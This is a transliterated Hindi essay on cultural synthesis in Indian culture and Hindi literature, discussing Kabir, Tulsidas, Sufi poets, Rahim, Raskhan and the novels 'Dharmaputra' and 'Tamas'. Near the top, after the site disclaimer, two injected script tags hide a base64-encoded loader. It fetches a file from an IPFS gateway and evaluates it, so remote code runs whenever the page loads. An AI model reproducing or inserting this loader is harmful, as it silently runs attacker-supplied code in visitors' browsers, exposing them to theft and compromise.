सांस्कृतिक समन्वय की प्रक्रिया और हिन्दी साहित्य -राजेश्वर गंगवार
| chitr:Icon-edit.gif | yah lekh svatantr lekhan shreni ka lekh hai. is lekh mean prayukt samagri, jaise ki tathy, aank de, vichar, chitr adi ka, sanpoorn uttaradayitv is lekh ke lekhak/lekhakoan ka hai bharatakosh ka nahian. |
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
- lekhak- rajeshvar gangavar
gurudev raviandranath thakur ke ek git ka bhav hai - yahaan ary bhi ae, anary bhi ae, dravi d , chin, shak, hoon, pathan, mugal sabhi yahaan ae lekin koee bhi alag nahian raha, sab is mahasagar me vilin hokar ek ho gaye.
sachamuch bharat ek mahasagar hai, bharatiy sanskriti mahasagar hai, vishv ki tamam sanskritiyaan akar isamean samahit ho gee haian. aj jisee ary sanskriti, hindoo sanskriti adi namoan se jana jata hai, vah vastutah bharatiy sanskriti hai jisaki ajagr dhara siandhu ghati ki sabhyata, pragvaidik aur vaidik sanskriti se jharati huee navonmeshakal tak bahati rahi hai. aneka anek dharmoan, sabhyataoan aur sanskritiyoan ko apane mean samahit kiye hue is bharatiy sanskriti ko samasik sanskriti hi kahana uchit hai. sanskriti ki samasikata ka tatpary yah hai ki isamean aise anek matoan ko prashray mila hai, jo paraspar ‘nakul-sarp sanbandh’ ke lie prasiddh rahe haian.
vartaman pauranik hindoo dharm kya hai ? kya vah matr vaidik dharm hai? is pauranik hindoo dharm ka ek nam nigamagam dharm bhi hai isaka abhipray hai ki hindoo dharm ka adhar keval nigam nahian ‘agam’ bhi hai. arthat vah nigam agam dharmoan ka samanvit roop hai. agam pragvaidik kal se chali a rahi vaidiketar paranpara ka vachak hai. aryoean ke ane se pahale yahaan dravi d, yaksh, rakshas, vidyadhar, nag kirat, kinnar adi aryetar jatiyaan thian. in jatiyoan se aryoan ke rakt sanbandh bane, jisase danoan ne ek doosare ke vicharoan ko apanaya aur aj ham apani sanskriti ka jo roop dekh rahe haian, vah in sabhi ka samanvit roop hai, samanvay ki prakriya hajaroan varsh se chali a rahi hai. aryoan ke bad jo log (yoonani, pathan, shak, hoon, mugal, chini adi) ae unamean se jo yahaan rah ge, vo yahaan ke ho ge aur yahaan ki sanskriti ke vikas aur vistar mean unaka bhi yogadan hai.
yadi bharatiy sanskriti par ek drishti dalean to char batean bahut hi spasht haian. pratham, bharatiy sanskriti pragatishil rahi hai. dvitiy, vah asanpradayik hai, usaki aantaradhara mean chirantan se sahishnuta ki bhavana ka pravah bahata raha hai. anek bar saanpradayik vaimanasy ubhare, ugr hue phir bhi un sanpradayoan ne is sahishnuta ki bhavana ko tilaanjali kabhi nahian di. sabhi sanpraday aantogatva ganga ki sahayak nadiyaan hi siddh hue. tritiy, bharatiy sanskriti ki bharat ke se samast itihas ke prati mamatv ki bhavana hai aur chauthi bat hai bharatiy sanskriti ki akhil bharatiy bhavana, sahastroan mil ki doori par avasthit badarinarayan, gangotri, kashi, rameshvaram, puri, dvaraka jaise tirth sthanoan ki bhakti aur prem se yatra karana bharat ka har vyakti (vah chahe jis praant ka nivasi ho) apana punit kartavy manata hai. svabhavatah saanskritik drishti se ve samast bharat ko apana desh samajhate haian. achary shankar ne bharat ke char konoan par char pithoan ki jo sthapana ki, usake pichhe bhi yahi bhavana thi. isi bhavana ke vashibhoot hokar ayodhya ke ram (gosvami tulasidas ke ram jo vishnu ke avatar haian) rameshvaramh mean shiv ki upasana karate haian, ‘nirala’ ke ram rameshvaram mean shakti ki upasana karate haian. shakti ki pooja ka anushthan kahian adhoora n rah jae, isake lie ve apane nayan kamal devi ko chadhane ke lie tatpar ho uthate haian kahaan hai isamean shaivoan, vaishnavoan aur shaktoan ka parasparik vaimanasy, tulasidas ke ram to spasht kahate hai -
shivadrohi mam das kahava,
so nar nahian sapanehuan mohian pava.
shiv drohiyoan ko jaise shap diya ja raha hai-
har-guru niandak dadur hoee,
koti janm phal pabahi soee.
shaiv aur vaishnav matoan ke samanvay ka yah ek udaharan hai. aise udaharan anaginat haian. sach to yah hai ki aj hindoo dharm mean shiv ka jo svaroopar hai, vah aryetar jatiyoan ki den hai. svabhav se bhavuk ary prakritik shaktiyoan ke upasak the. prakriti ke komal roop usha ki vandana karate the, to sath hi prakriti ke bhayanak svaroop mean rudr ki pooja bhi karate the. iandr, agni, varun adi sabhi prakritik shaktiyaan haian. jin par praniyoan ka jivan nirbhar hai in shakyioan ki dev roop mean pooja ka yahi adhar hai prakriti devata rudr nilakanth shiv kab aur kaise ho ge, isaki khoj kathin nahian hai. vidvanoan ke anusar yah shiv dravi d dravi d sanskriti ki den hai shiv ka gajanin roop spashtatah un aryoan ka diya hua nahian ho sakata, madhy eshiya se ae, kyoanki madhy eshiya mean hathi paya hi nahian jata, atah unake upasy dev ka vastr charm nahian ho sakata. isake alava shiv ravan, vanasur adi asur rajaoan ke poojy the. shiv ki un par apar kripa thi (shayad isalie ram ne pahale shiv ki pooja karake unaka man jit liya, taki ve tatasth ho jayean) liang pooja to nishchit roop se ary anushthan nahian tha lekin jab aryoan aur dravi doan mean paraspar vivah sanbandh hue, dravi d kanyaean ary parivaroan mean ayi to unake sath shiv bhi un parivaroan mean pahuanch gaye. is tarah shiv pooja ary aur dravi doan ke ghanishth sanpark ka parinam hai. yahi bat kartikey aur ganesh ke sath bhi lagoo hoti hai.
shiv ki tarah vishnu bhi shat pratishat ary devata nahian haian. gaur varn ke aryoan ne shyam varn ke vishnu ki kalpana kaise ki, yah vicharaniy hai. vishnu ka rang akash ki tarah nila hai. tamil mean akash ko ‘binu’ bhi kahate haian. daॅ0 ramadhari sianh dinakar ne yah sanbhavana vyakt ki hai ki shayad ‘vishnu’ shabd ka ‘binu’ se kuchh nata hai.[1]
isi tarah krishna ka nam to bahut prachin hai, kiantu premi aur rasik krishna (jo hindi krishna bhakti kavy ka jivan pran hai) aryoan ke poojy nahian the. radha to nishchay hi ary devi nahian thi. vaishnavoan ke tin prachin granthoan - harivansh puran, vishnu puran aur bhagavat mean radha ka nam tak nahian hai. kuchh vidvanoan ka mat hai ki radha nam aryoan aur dravi doan ke samagam se bahut bad mean aya, lekin bad mean ane par bhi radha bhakti sahity ki adhar bani hai.
jab samaj mean pratishthat devi devata hi vibhinn dharmoan ki den hoan, to us samaj ke riti rivajoan ka paraspar prabhavit hona svabhavik haian. hamare samaj ke n jane kitane riti rivaj kitane anushthan haian, jinake vedoan me ullekh tak nahian haian. jo devata doosari jatiyoan se ae unako hindutv ne n keval svikar kar liya balki kalakram mean yah bhi siddh kar diya ki ye devi devata hinduoan ke hi haian. samanvay ka aisa udaharan vishv mean kahaan milega.
saanskritik samanvay ka yah roop bharat ki sabhi bhashaoan ke sahity mean parilakshit hota hai vastutah hindi sahity ko saanskritik samanvay ka bhav virasat mean mila hai. hindi sahity ke praranbhik yug mean desh mean bauddh, jain, shaiv, vaishnav, shakt adi nana mat mataantar prachalit the. vedoan aur upanishadoan par adharit brahman dharm shraman kary ka virodhi tha. brahmanoan aur shramanoan mean nakul sarp sanbandh mana jata tha, lekin shanaiah shanai in donoan dharmoean ne ek doosare ke prati sahishnuta ka rukh apanana shuroo kar diya. brahman dharm ne bauddhoan aur jainiyoan ki ahiansa, tap tyag ki bhavana ko manyata di, to eeshvar virodhi bauddh kalaantar mean buddh ko hi bhagavan manane lage. mahayani bhagavan buddh ki moorti ki pooja archana vaise karane lage jaise mandiroan mean shiv ki pooja hoti hai.
hindi ke adi svaroop apabhransh mean yah samanvayatmak drishti dekhi ja sakati hai. apabhransh gady ka varnyavishay mukhyatah jain dharm hai. isi kal mean kashmir mean shaiv mat phal phool raha tha. is mat ne age chalakar anek roop dharan kiye. is mat mean shiv aur shakti ka bandhan atoot mana jata tha. taantrik mat ke karan isamean panch makaroan (maans, matsy, mady, mudra, aur maithun), pashubali, guru, bhairavi chakroan (jinamean chakr bhed ke anusar vibhinn varshaean ki striyaan sammilit thian) ki srishti, bhog dvara kuandalini jagrat karana adi batoan ko mahatv diya jata tha. praranbh mean brahman dharm mean ye batean nahian thi, lekin bad mean pashubali, guru, bhairavi chakr adi batean usamean shamil ho geean aur jain, bauddh, shaiv dharm se sambandhit vaishnav dharm bhi sarvadeshik dharm ban gaya. yah samanvit roop apabhransh gady aur pady donoan mean rache gaye granthoan mean dekha ja sakata hai:
jimi lon vilijji paniehi timi dharini lichit samaras jai takkhane, jee punu to samanit.- kanhapa
(jis tarah pani mean namak ghul jata hai, usi tarah dharini ke prem mean lin ho jane se tatkal samaras ki avastha utpann hoti hai, yadi vah sthir ho.)
shaiv aur vaishnav dharm donoan prakar ki upasana mean vishvas karate the. aryoan ke liye prakritik shaktiyaan rudr, oosha, iandr adi sakar roop mean the. lekin ane chalakar nirgun bhakti ka jo svaroop vikasit ho gaya, usake pichhe sanbhavatah yahi bhavana thi ki anek devoan aur bhagavanoan ke karan parasparik kalah badhata ja raha tha. atah eeshvar ke us roop ko manyata di gee jo sabhi eeshvaroan mean sarvatr vyapt hai. vah eeshvar sakar roop mean sarvatr vyapt nahian ho sakata, nirakar hone par hi yah sanbhav hai. nirgun upasana se sadhy aur sadhak bhinn nahian rahe. sadhak aantar ke mean hi sadhy hai, usi ki khoj par bal diya gaya hai. gorakhanath ke shabdoan mean -
tuanbi mean tiralok samaya, trivani rib chanda.
boojhau re brambh giyani, anahad bhed abhanga..
is tarah kabir ne spasht kaha hai -
kastoori kuandal basai mrig dhooandhai van maanhi.
aisehi ghati-ghati ram haian, duniya dekhe nahian.
hindi sahity mean sagun aur nirgun vivad kafi samay tak chala. kabir, dadoo aur adi santoan ke lie nirgun brahm ki hi satta hai, to mirabaee, sooradas, tulasidas adi ke lie vah sakar hai. tulasidas yah to manate haian ki ram sabhi mean vyapt haian, sabhi ke man mean haian, aantaryami haian, kiantu yah ‘jnan ko panth kripan ki dhara’ hai, jis par phisalane mean der nahian lagati aur isalie vah brahm jisaki visheshata hai -
pad binu chalai sunai binu kana,
kar binu karm karahi vidhi nana.
jan samany ki aradhana ka adhar nahian ho sakata. jan samany ke lie to sakar bhagavan bhi thik hai aur usamean bhi ram. tulasidas ji krishna ko ram se bhinn nahian manate, donoan vishnu ke avatar haian, lekin krishna ka mohan roop, baansuri bajaiya ka roop tulasi ko pasand nahian, kyoanki drishtoan ke dalan ke lie madhury nahian, shaury chahie. isalie ve baansuri bajaiya krishna ki moorti ke samane hath jo dakar kahate haian:
bhali bani chhavi aju ki kaha kahau maian nath.
tulasi mastak tab nabai, dhanush ban lehu hath..
gosvami tulasidas apane yug ke sabase b de samanvayavadi the. ram aur krishna, vishnu aur shiv kisi aur ke lie bhale hi alag alag hoan, tulasi ke lie ek hi the. vah svayan sakar ke upasak hote hue bhi nirakar upasakoan ke virodhi nahian the. ramacharitamanas ki ek pankti ‘dhol ganvar soodr pashu nari sakal ta dana ke adhikari’ ko lekar tuulasi par nari aur shoodr ke prati vidvesh bhav ka arop lagaya jata hai, jo vastutah is kathan ko sandarbh se katakar dekhane ke karan hai. sita ji bhi to nari thian. ram ne shoodr bhaktini shabari ke joothe ber bhi to khae the yah sach hai ki tulasidas brahmanoan ko sarvochch sthan dete the kiantu kisi any jati ke prati vidvesh nahian tha. jab ram van jate haian, to vanavasi ram usi rang mean rang jate haian, jis rang mean any vanavasi jatiyaan rangi thi aur jab ravan se yuddh ki naubat ati hai, to ye sabhi jatiyaan ram ke lie pranotsarg karane ko tatpar ho jatian hai. ram ne in vanavasi jatiyoan ka samanvay kitane achchh dhang se kiya hai, achchhi tarah dikhaya gaya hai. kohali ji ke ‘diksha’, ‘avasar’, ‘sangharsh ki or’ aur ‘yuddh’ (bhag 1 aur 2) mean ram ki samanyavadi drishti bahut hi spasht hai. tulasi ki tarah any santoan ne bhi samaj mean prachalit vicharoan ko samanvit karane ka saphal prayatn kiya tha. kabir ki sadhukk di bhasha mean un sabhi ke lie phatakar thi, jo samaj mean dharm, jati adi ko lekar vaimanasy ka bij bo rahe the, spasht kah rahe the:‘are in daun rah n payi.’ sidhi rah to apane aantar me brahm dhooandhata hai. namadev ke shabdoan mean:
hindoo poojai dehari, musalaman masit
nama soee seviya, jahaan dehara n masit.
in santoan ki vani mean desh ki ekata ka bhav tha. jab kabir yah kahate haian - ‘bhakti davi d oopaji lae ramanand/paragat kiyo kabir ne sat dvip nau khand’ to ve desh ki usi ekata ko dridh karate haian, jisamean asetu himalay poora desh abaddh haian.
bhakti kal ki yah samanvay drishti age bhi bani rahi. hindutv ne jis udarata ka parichay diya tha, usaka prabhav un jatiyoan aur dharmavalanbiyoan par bhi p da, jo bad mean is desh mean ae. yah sach hai ki prayah sabhi jatiyaan is desh ko jitan athava lootane ke uddeshy se aeean thian, chahe vah sikandar ke netritv mean ae yoonani hoan, athava muhammad gauri ke netritv mean ae yavan athava babar ke netritv mean ae mugal hoan athava koee any akraman kari. kuchh to matr loot kar chale gaye, kuchh ne vijit kshetroan par apana shasan kayam kiya aur yahian bas gaye. jo lautakar ge unamean bhi n jane kitanoan ke dil par is desh ki sanskriti ki amit chhap p di thi bharat chho date samay sikandar ne kaha tha-‘maian talavar khianche bharat mean aya tha, hriday dekar jata hooan. vismay vimugdh hooan. jinase khadg pariksha huee thi, yuddh mean jinase talavarean milian thian, unase hath milakar, maitri ka hath milakar jana chahata hooan.’ usake senapati silyookas ki putri karneliya to is desh ke rang mean aisi rangi ki phir vapis hi nahian gee, samrat chandragupt se usaka vivah rajanitik sandhi ka parinamamatr nahian th, balki usaka is desh ki dharati se pyar bhi usaka karan tha. prasad ji ke natak ‘chandragupt’ mean usaki bhavana usake git mean mukhar ho uthi hai -
arun yah madhumay desh hamara
jahaan pahuanch anajan kshitij ko milata ek sahara
barasati aankhoan ke badal, banate jahaan bhare karunajal
laharean takaratian anant ki, pakar jahaan kinara.
ham janate haian, is desh ki dharati par vismay vimugdh hone vala akela sikandar hi nahian tha, yahaan ke varsha jal ko karuna jal samajhane vali karneliya akeli nahian thi. aise bahut the. lekin aj koee yah nahian kah sakata ki ab unaka astitv kahian alag hai. yahi hal mangoloan, hoonoan aur chiniyoan ka hua. sabhi ‘ek dehe halolani’ ho ge. haan, islam ke kuchh anuyayi zaroor yah shapath lekar ae the ki talavar ke bal par is desh ko islam dharmavalanbi bana deangean, lekin unamean se bhi n jane kitane yahaan ke rang mean rang gaye. jahaan tulasi, soor aur mira the vahian amir khusaro, mulla daud, malik muhammad jayasi, rasakhan adi bhi the. hindoo bhakt kaviyoan ka samaj mean jitana adar hai, utana hi in musalaman kaviyoan ka bhi hai. ‘in musalaman harijan par kotin hindoo variye’ kahane vale ki nazar mean in musalaman bhakt kaviyoan ka sthan kitana ooancha raha hoga, kalpana ki ja sakati hai.
in musalaman kaviyoan ne bhakti ka vahi svaroop apanaya jo unake samakalin hindoo bhaktoan ne apanaya tha, dev bhi ve hi the, jo hindoo bhaktoan ke the. isame sabase age the rasakhan, jo krishna ki ‘lakuti aru kamariya’ par tinoan lokoan ka rajy nichhavar karate the aur ‘braj gokul gaanv ke gvarin’ ke bich janam janam tak basane ki sadh man mean sanjoye the.
aisee hi krishna rang mean rangi thi shekh. hindutv aur krishna ke prati usaki divanagi usi ke shabdoan mean:
suno dilajani mere dil ki kahani
tum dast hi bikani badanami bhi sahauangi maian
dev pooja thani maian namaz bhi bhulani
taje kalama quran sare gunan gahauangi maian.
syamalo salonoan sirataj kulli diye
tere neh ag mean nidadh hvai dahauangi maian
nand ke kumar kuraban teri soorat pai
hauan to mugalani, hindvani hve rahauangi maian.
shekh jati ki rangarejin thi. usake pyar mean divane alam (jo brahman the) ne hindoo dharm chho d diya tha. musalaman ho ge aur shekh se vivah kar liya. in donoan ke prem ki pir adbhut thi.
soophi kavi to bharatiy rang mean range hi the. soophiyoan ka ‘tasavbuph’ bharat ke advait se prabhavit tha. ye soophi brahmajnani, adhyatmavadi aur sabhi dharmoan se prem karane vale the. islam ke antargat soophi rahasyavadi sadhak mane jate haian. hindi ke soophi kaviyoan ne tasabbuph ke anusar ‘prem ki pir’ ko hi sadhana ka mool mantr mana hai. bharatiy kathanak roodhiyoan (shravan darshan, chitr darshan, spapn darshan, sihal dvip, padmini adi) ka prayog kar soophi kaviyoan ne eerani masanabi shaili aur bharatiy paranparaoan ka suandar samanvay prastut kiya hai.
soophi ekeshvaravad me vishvas karate haian kiantu ve islam ke kattar anuyayi nahian hai. kattar anuyayi khuda ko is drishyaman jagat se bhinn manate haian, jabaki soophi log paramatma ko jagat mean sarvatr vyapt manate haian. unaki drishti mean srishti asaty hai, paramatma hi saty hai. kiantu yah asaty jagat saty ko samajhane mean sahayak hai, kyoanki paramatma apani anant vibhooti aur sauandary me se jagat ki srishti karata hai. srishti usaka pratibianb matr hai, pratibianb kabhi sachcha nahian hota. sach vah sŸaa hai, jisaka yah pratibianb hai. yahaan ham spasht dekh sakate haian ki achary shankar ke advais isaka bahut kuchh samy hai. advaitavad mean yah srishti brahm ki maya hai. yani advait ki ‘maya’ aur soophiyoan ka pratibianb ek hi bat hai. kahana galat n hoga ki vartaman mean bharatiyoan ke lie soophi mat se parichay ka sabase pramukh madhyam soophi kaviyoan ke kavyagranth rah ge haian, jo us vicharadhara ko jan jan tak pahuanchane ka kary bakhoobi kar rahe haian.
sakshep mean kahean to soophi mat islam se prodbhoot hone ke bavajood ek to bharatiy vicharadhara se prabhavit jan p data hai, to doosari or yah soophi mat hindi ke sant kaviyoan ki vicharadhara ko prabhavit bhi karata hai. kabir jaise sant bhi is soophi mat se prabhavit the. mulla daud ka ‘chandrayan’, kutuban ki ‘mrigavati’ jayasi ka ‘padmavat’ adi hindi sahity ki amooly nidhi haian.
bharatiy aur islami sanskriti ke samanvayakartaoan mean amir khusaro ka yogadan bhi kam nahian hai. bharatiyata aur bharatiy bhasha ke prati khusaro ka prem anany hai. apani is bhavana ka spasht parichay dene ke liye hi shayad unhoanne kautuki rachanaoan ki srishti ki. pharasi chhud ka ek tuk da unhoanne pharasi mean racha, to doosara brajabhasha mean:
je hale miskian tagaphul, duray naina banay batiyaan.
ki tabe hijaan n baram-e-jaan, n lehu kahe lagay chhatiyaan..
khusaro ki dekha dekhi any kaviyoan ne bhi aisi kautuki rachanaean kian. gang kavi ka ek udaharan hai-
kaun ghari vidhana kari jab rue ayaan diladar mubiramh.
anand hoy tabai sajani, dar baslaye char nigar nashinamh.
lekin rahim ne to ek kadam age badhakar sanskrit aur kh di boli ki khich di taiyar ki
drishtya tantr vichitrataan tarulataan maian tha gaya bag mean.
kachitatr kurangashavakanayana gul to dati thi kh di..
tatpary yah hai ki kaviyoan ne tarah tarah se apani samanvayatmak drishti ka parichay diya aur logoan ke samane ekata, bhratritv aur parasparik sadbhav ka udaharan pesh kiya. age chalakar ritikal mean bhi yah dhara ajagr bahati rahi.
hindi ka shrashth sahity musalamanoan ke shasanakal mean racha gaya. kabir, jayasi, vidyapati aur dadoodayal pathan yug ki den haian, to soor, tulasi, mira, keshav, ghananand, padmakar, rahim, rasakhan tatha unake samakalin saiank doan shreshth kaviyoan ka samay mugal shasanakal tha. tulasi ka samman hindoo musalaman donoan karate the. rahim aur tulasi ki mitrata prasiddh hai. donoan ek doosare ke prashansak the. ‘god lie hulasi phire tulasi so sut hoy’, kahane vale rahim ne ‘ramacharitamanas’ ki prashansa mean likha:
hinduan ko ved sam, turukahian prakat quran
hindoo muslim ekata ki rahean keval do haian ek to yah ki desh se dharm ka astitv hi samapt kar diya jae. mandir aur masjid nestanaboot kar diye jaean. bisavian shatabdi ke anek chiantakoan aur kaviyoan ko kisi samay yahi rah thik dikhaee di thi:
tere jhoothe kuphro eemaan ko mita dalooanga maian
haddiyaan is kuphro eemaan ki chaba dalooanga maian
dal dooanga tarje no ajamer aur prayog
mean jhoank dooanga kuphro eemaan ko dahakati ag mean -josh malihabadi
urdoo kavi ne hi nahian, ek hindi kavi ne bhi yah bhavana vyakt ki hai:
thokar mar pho d de usako jis baratan mean chhed rahe,
vah lanka jal jae jahaan bhaee bhaee me bhed rahe
gajani to d somanath ko kabe ko dooan phooank shiva
jale kuraan arabi retoan mean sagar ja phir ved rahe.
doosari rah vedaant ke advait ki, jisako sahaj aur janapriy roop mean soophiyoan ne prastut kiya tha. bhaktoan ki nirgun upasana isi vedaant se janmi hai.
hindoo muslim samanvay ka ek jabaradast mauka tha ajadi ki l daee ke dinoan ka. desh par mar mitane ki lalak hindoo hi nahian musalaman ko bhi thi. 1857 ke svatantrata sangram ke sootradharoan mean pramukh the ajimulla khaan. bahadurashah zafar ke netritv mean jis ajadi ka udghosh kiya gaya tha usake nayak the tatya tope, maharani lakshmibaee, begam hajarat mahal, nana sahab, kuanvar sianh adi. aur jab kaangres ke manch se yah l daee l di gee to bhi hindoo musalaman sath sath the. kraantikariyoan mean prayah sabhi praantoan ke hindoo musalaman the. netaji subhash chandr bos ki ajad hind sena ke ek nayak shahanavaj khaan the. hindi aur urdoo donoan mean aisi kavitaoan ka bahuly hai, jo har deshavasi ko sirph hindustani ke nam par ajadi ke yajn mean ahuti dene ka ahvan karati haian. ajadi ki nazmoan mean bar bar kaumi ekata ka nara buland hua hai. kakori kaand mean amar shahid ashafaq ulla khaan, ramaprasad ‘bismil’ aur roshan sianh kramashah musalaman brahman aur thakur hote hue bhi sath sath khate pite the. ‘bismil’ ki gajalean ‘sarapharoshi ki tamanna’, ‘jiandagi ka raj musaphir’ aur ‘jo ham phariyad karate hai’ har desh premi ki jaban par thian. asaphakulla khaan ki akhiri najm ‘shorishe junoo’ ka ek sher haiah
ye jhag de aur bakhe de metakar apas mean mil jao
abas tafarik[2] hai tumase yah hindoo aur musalamaan ki.
is shahidoan ki shahadat se ajadi to mili, lekin aangrej jate jate bhi hindoo musalamanoan mean vaimanasy ka bij bo ge. ajadi se pahale pakistan ki maang usi bij ki upaj thi. bahut se log is sajish ko samajhate bhi the, lekin unaki chali nahian aur desh ka bantavara ho gaya. kitane katl hue kitane ghar se beghar hue, kitana nukasan hua aur sabase badhakar to yah ki us ghrina ke bij mean abhi bhi kabhi kabhi saanpradayik vaimanasy ka aankur phoot p data haiai. udaharan ke taur par is sandarbh mean do upanyas ‘dharmaputr’ aur ‘tamas’ ullekhaniy haian.
achary chaturasen shastri ke upanyas ‘dharmaputr’ mean hindoo muslim ekata ka achchha chitran hai. daॅ0 amritaray aur unaki patni arunadevi sab kuchh janate hue bhi kuanvari maan husnabanh ke bachche ko apana putr manakar palate haian. ve janate haian ki bachche ka bap musalaman hai. ajadi ke pahale is desh mean hindoo aur musalaman apane apane dharm ko manate hue bhi prem mean rahate the. hindoo agar musalaman ka chhua nahian khate the to is par musalaman ko koee aitaraj n tha. ooanche khanadan ka musalaman bhi apane hindoo naukar ke khane ko chhookar usaki bhavanaoan ko thes nahian pahuanchata tha. musalamanoan ke yahaan hindoo ki davat hoti, to khana hindoo rasoiya banata tha. isi hal mean jab arunadevi ne husnaban ke bachche ko apana bachcha man liya aur usake pati ne husnaban ko bahan, to jaise majahab ki sari divarean dhah geean. arunadevi ne husnaban ko davat di. banh ne jid ki ki ‘bhabhi tum baitho, lao apani thali’, aruna mehaman ko khilakar khana chahati thi, lekin jab mehaman n mani, ‘to phir maian bhi tumhare sath hi khauangi, ek hi thal mean, aur vah (aruna devi) husnabanh ke samane baith gee. thal se gras uthaya. banh ne kaha ‘hean, hean yah kya karati ho bhabhi!’
‘bahan, nanad banana itana asan nahian hai. tumhara zigar ka tuk da ab meri god me hai. ab bhi bhedabhav rah sakata hai ?......... jab tak maian tumhare sath khauangi nahian, tumhare bete ko apanauangi kaise ?’ aur yahi zigar ka tuk da jab b da hokar rangamahal (husnabanh ka avas) mean ag lagane jata hai, to d aau. amritaray aruna devi aur husnabanh ko bachane ke lie pranoan ki baji laga dete haian desh ka mahaul badal chuka tha. jinna sahab ke ahvan par dilli ke musalaman sidhi karravaee par amada the. kattar hindoo bhi bhala kab pichhe rahane vale the. donoan dharmaandh the. majahab ka junoon sir par savar tha. husnabanh ke jigar ka tuk da yahi samajhata tha ki vah hindoo mata pita ki santan hai. vah kisi bhi kattar hindoo se jyada kattar hrindoo tha. usamean amritaray aur aruna devi ki udarata nahian thi vah husnabanh ko rangamahal mean jivit jala dena chahata tha. amritaray, banh ko bachane ke lie patni sahit rangamahal pahuanchate haian. samane dilip haian. vah banh ki raksha ke lie dilip (jis par shaitan savar hai) par bandook tan dete haian. husnabanh ko pata hai ki dilip usi ka beta hai, vah jhapatate hue bandook ki nali ke age kh di huee. usane kaha, ‘khuda ke lie bhaee jan, bandook mujhe de dijie, use jo ji chahe karane dijie aur usane ek taur par bandook unake hath se chhin li.’
lekin abhi ek aur pariksha ki gh di shesh hai hinduoan ke lie. dilip musalaman maan bap ki santan hai, yah janate hue bhi maya usaka varan karati hai. usake pita ray sahab ashirvad dete haian. poore upanyas mean hindoo muslim bhaee bhaee ka kahian koee nara nahian hai, lekin ghatanakram aur patroan ki bhavanaean isi bhavana ko dridh karati haian.
bhishm sahani ka ‘tamas’ upanyas bhi hindoo muslim ekata ko badhane ki prerana deta hai. upanyas ki prishthabhoomi mean vibhajan se pahale ke panjab mean hinduoan aur musalamanoan ke bich panapi ghrina aur vaimanasy ki bhavana hai. lekin is ghrina aur vaimanasy ke pichhe katipay svarthi tatvoan dvara paida ki gee galataphahamiyaan haian. donoan sanpraday ek doosare ko shanka ki drishti se dekhate haian. masjidoan aur gurudvaroan mean hathiyar jama kiye ja rahe haian. sikkh kahate haian ki musalamanoan ka koee aitabar nahian aur musalaman kahate haian ki sikhoan ka koee aitabar nahian aur ek ke bad ek galataphahamiyaan aur vaimanasy badhata jata hai. hiansa ka lava phoot p data hai. katl hote haian aur nariyaan beijzat hotian haian. bechare manoharalal ki koee nahian sunata. usaki dharana hai ki yah sab aangrejoan ki sajish se hua hai.
hinduoan aur musalamanoan ke bich galataphahamiyaan paida karane vale tatv ko koee nahian janata. koee nahian janata ki varadatoan ki shuruat masjid ke samane jis suar ko dekhakar huee thi, us suar ko mubarak ali ke kahane par natthoo ne mara tha (natthoo ko nahian maloom ki us suar ko kyoan maravaya gaya hai) aur masjid ke samane rat ke aandhere mean pheanka kaloo namak eesaee ne. jis mubarak ali ke ishare par galataphahamiyoan ki shrriankhala shuroo huee, hatyakaand hua, vahi mubarak ali aant mean aman ki bas mean sabase pahale baithakar ‘hindoo muslim ittahad - jiandabad’ aur ‘aman kameti jiandabad’ ke nare lagata hua jata hai. koee nahian poochhata ki mubarak ali us sarakari bas mean kab, kaise chadh gaya, yani ghrina ka jahar gholane valoan ki or koee uangali nahian uthata.
phisad ke dauran sikh haranam sianh ko sachet karane vala karimakhan bhi musalaman hai aur panah dene vala parivar bhi musalaman ehasan ali ka hai. usaka betha ramazan muslim ligi hai. phir bhi haranam sianh ki us ghar mean raksha hoti hai. is tarah hindoo muslim vaimanasy aur ghrina ki prishth bhoomi par likha gaya upanyas donoan sanpradayoan ke parasparik sadbhav aur aiky ko rekhaankit karata chala jata hai.
aj urdoo bhasha vivad ka vishay bani huee hai (athava yooan kahean ki kuchh rajanitik karanoan se urdoo ko vivadaspad banaya ja raha hai) lekin bhasha bahata nir hai bahata rahega, to svachchh rahega, agar bandh jaega to dooshit ho jaega. jaisa ki kaha ja chuka hai, bharat mean musalamanoan ke ane ke bad islam ne jahaan bharatiy sanskriti ko prabhavit kiya, vahaan yahaan ki bhasha par bhi arabi pharasi ka asar p da. hindi kaviyoan ne avashyakata hone par arabi pharasi shabdoan se kabhi parahej nahian kiya. kavivar bhikharidas ke anusar to:
brajabhasha bhasha ruchir, kahai sumati sab koy
mile sanskrit pharasyo, pai ati sugam jo hoy
aur jayasi ke lie bhi bhasha ka koee jhag da nahian tha:
arabi, turaki, hinduee bhasha jeti ahi
jaihi mahan maran prem ka sabai sarahai tahi
aj ka kavi bhi bharat ki bhasha me videshipan nahian chahata:
kijai n zamil urdoo ka siangar ab eerani talamihoan se
pahanegi videshi gahane kayoan yah beti bharatamata ki-jamil mazahari
agar jamil mazahari ki bhavana ko urdoo vale apana lean, to urdoo hindi ka jhag da mit jae. arabi pharasi se bojhil hone ke karan urdoo janata ki juban usi tarah nahian ban pa rahi hai jis tarah sanskritanishth hindi. arabi pharasi ke jo shabd yahaan ki boli mean sahaj prachalit haian, unaka istemal karate hue yadi janasamany ki bhasha likhi jae to donoan bhashaean ek haian, sirph lipi ka aantar hai.
is tarah ham dekhate haian ki kaumi ekata ki jo bhavana kabiradas ke sabadoan aur sakhiyoan mean thi, vah aj bhi hai. is darshan ko abhivyakti dene vale urdoo ke mahanh shayar iqabal ka bhi to yahi payam hai:
vasl ke saman paida hoan teri taharir se
dekh, koee dil n du:kh jae teri takarir se
